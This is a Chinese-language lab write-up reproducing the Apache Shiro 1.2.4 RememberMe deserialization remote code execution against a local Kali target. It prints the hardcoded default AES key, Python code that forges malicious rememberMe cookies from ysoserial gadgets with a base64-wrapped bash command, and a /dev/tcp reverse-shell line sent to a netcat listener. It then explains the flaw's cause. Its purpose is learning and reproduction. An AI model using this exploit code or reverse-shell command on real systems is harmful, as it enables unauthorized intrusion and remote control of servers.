Shiro RememberMe 1.2.4 反序列化RCE实践

　　Shiro作为Java的一个安全框架，其中提供了登录时的RememberMe功能，让用户在浏览器关闭重新打开后依然能恢复之前的会话。而实现原理就是将储存用户身份的对象序列化并通过AES加密、base64编码储存在cookie中，只要能伪造cookie就能让服务器反序列化任意对象，而1.2.4版本及以下AES加密时采用的key是硬编码在代码中的，这就为伪造cookie提供了机会。只要rememberMe的AES加密密钥泄露，无论shiro是什么版本都会导致反序列化漏洞【6】；

整个漏洞的测试和利用流程如下：

1、环境说明：

（1）靶机：VM装kali， IP：192.168.40.130

         

       攻击机：win10物理机，IP：198.168.40.129

（2）下方参考有kali配置docker和shiro的说明，配置好后用物理机访问虚拟机如下：

      

2、（1）探测：在login界面随便输入账号，点击登陆，然后抓包，发现返回包的set-cookie有rememberMe=deleteMe字样，说明对方使用了shiro

    

 　（2）https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE 在这里下载别人已经写好的工具；本人在内网做测试，没有公网地址，也没有VPS，加上这个漏洞也没有回显，这里接用dnslog测试RCE是否成功。

•  先在dnslog申请个子域名：jv39jb.dnslog.cn
• 再用这个刚才下载的python脚本生成payload：ping一下刚才申请的那个域名

       

　　payload拼接到cookie（去掉原来的jession字段，只用生成的这个payload），然后发包：

 　　

 　　再去dnglog查看，已经ping了，充分说明这个漏洞是存在并且可以利用的；

　　

3、建立反弹shell：靶机和攻击机都在192.168.40网段，是可以让靶机反弹shell到攻击机的；建议先关闭window自带的defender防火墙，避免链接被拦截；

    （1）攻击机是windows，先下载一个netcat（https://eternallybored.org/misc/netcat/），再把netcat的路径写入环境变量，我这里在4444端口监听：

     

  （2）所有流程重走一遍：先生成payload，这次换成反弹shell：

     

     生成的shell发出去：

　　

      成功接受到靶机kali 的反弹shell：前面有报错，并且后面的shell也没法查看home目录的文件；无奈之下把错误提示google一番，发现是shiro在docker运行导致的，这个反弹shell就是靶机docker环境的shell，并非靶机的root shell，这是不是侧面说明了在docker中启动各种服务更安全了（由于docker的隔离，反弹shell权限受限）？

     

　　这里直接在靶机下运行payload：bash -i >& /dev/tcp/192.168.40.129/4444 0>&1，反弹shell如下（kali路径有中文，所以反弹回来的shell有乱码）：一切正常！

     

 4、做完了测试，最重要的就是学习这个RCE的原理了；Shiro≤1.2.4版本默认使用CookieRememberMeManager，当获取用户请求时，大致的关键处理过程如下：

• 获取Cookie中rememberMe的值
• 对rememberMe进行Base64解码
• 使用AES进行解密
• 对解密的值进行反序列化

　　我个人觉得最大的问题出在了AES加密这里；总所周知，AES是对称加密，服务端和客户端用的key都是一样的；shiro的开发人员给了默认的key，如下：极易导泄露；（这里多说一句：很多勒索病毒都用非对称加密算法的，根据客户端的mac、硬盘或其他硬件id生成密钥对，公钥在客户端加密，私钥保留在自己的服务端；每个客户端都有单独的解密私钥，私钥之间没任何关系，互相不影响）

       

 　　拿到AES的key后，就可以开始构造payload了：先明确需要服务器执行的命令，然后base64编码，最后用上面的这个key加密，整个payload的构造代码在shiro_1.2.4.py中，核心代码如下：

def encode_rememberme(data, module):
    # module is JRMPClient or CommonsCollections2
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', module, data], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)#用公开的key加密
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


def generate_cookie_rememberme(file_path, data):
    file_path = file_path
    sys_argv_red = data
    ip_port_pattern = re.compile(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}$')
    switch_result = ip_port_pattern.search(sys_argv_red)
    if switch_result is not None and switch_result is not "":
        try:
            payload_rebound = encode_rememberme(sys_argv_red, 'JRMPClient')
        except Exception as error:
            print("Generate cookie Error: {0}: {1}".format(Exception, error))
            return False
        cookie = "rememberMe={0}".format(payload_rebound.decode())
        print("Generate cookie success\n")
        if file_contents_operate(file_path, method='w', contents=cookie):
            print("{0}".format(cookie))
            print("\ncookie value in payload.cookie.txt\n")
            return cookie
        else:
            print("!!!Cookie rememberMe write file error\n")
            print("{0}".format(cookie))
            return False
    else:
        string = str(base64.b64encode(sys_argv_red.encode(encoding="utf-8")), encoding="utf-8") #payload用base64编码
        bash_java_base64_encode_str = "bash -c {{echo,{0}}}|{{base64,-d}}|{{bash,-i}}".format(string)
        try:
            payload_command = encode_rememberme(bash_java_base64_encode_str, 'CommonsCollections2')#编码后的payload再加密
        except Exception as error:
            print("Generate cookie Error: {0}: {1}".format(Exception, error))
            return False
        cookie = "rememberMe={0}".format(payload_command.decode())
        print("Generate cookie success\n")
        if file_contents_operate(file_path, method='w', contents=cookie):
            print("{0}".format(cookie))
            print("\ncookie value in payload.cookie.txt\n")
            return cookie
        else:
            print("!!!Cookie rememberMe write file error\n")
            print("{0}".format(cookie))
            return False

　　靶机收到cookie后，先解密，再解码，最后进入这里的反序列化函数，如下；这里需要注意的是Shiro并不是使用原生的反序列化，而是重写了ObjectInputStream.resolveClass()方法，最大的坑就在这了： resolveClass未采用class.forName，而是ClassLoader.loadClass()；更详细的反序列化漏洞原因解析，可参考【9】：Shiro RememberMe 漏洞检测的探索之路；

 　　

参考：

1、https://cloud.tencent.com/developer/article/1556595  Apache Shiro反序列化远程代码执行复现及“批量杀鸡”

2、https://blog.csdn.net/weixin_44067239/article/details/106918315 Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

3、https://www.meiyoubug.com/article/79567.html  kali-2020配置docker

4、https://wh1te.fun/2020/06/21/Apache%20Shiro%20%3C%201.2.4%20RCE%20%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/    Apache Shiro < 1.2.4 RCE 漏洞复现与利用

5、https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE 利用的payload

6、https://l3yx.github.io/2020/03/21/Shiro-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/   Shiro 1.2.4 反序列化漏洞

7、https://blog.csdn.net/zoulonglong/article/details/79552813  python3.6 错误： ModuleNotFoundError:No module named "Crypto"

8、https://p0rz9.github.io/2019/07/18/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/    Shiro反序列化漏洞分析

9、https://mp.weixin.qq.com/s/jV3B6IsPARRaxetZUht57w  Shiro RememberMe 漏洞检测的探索之路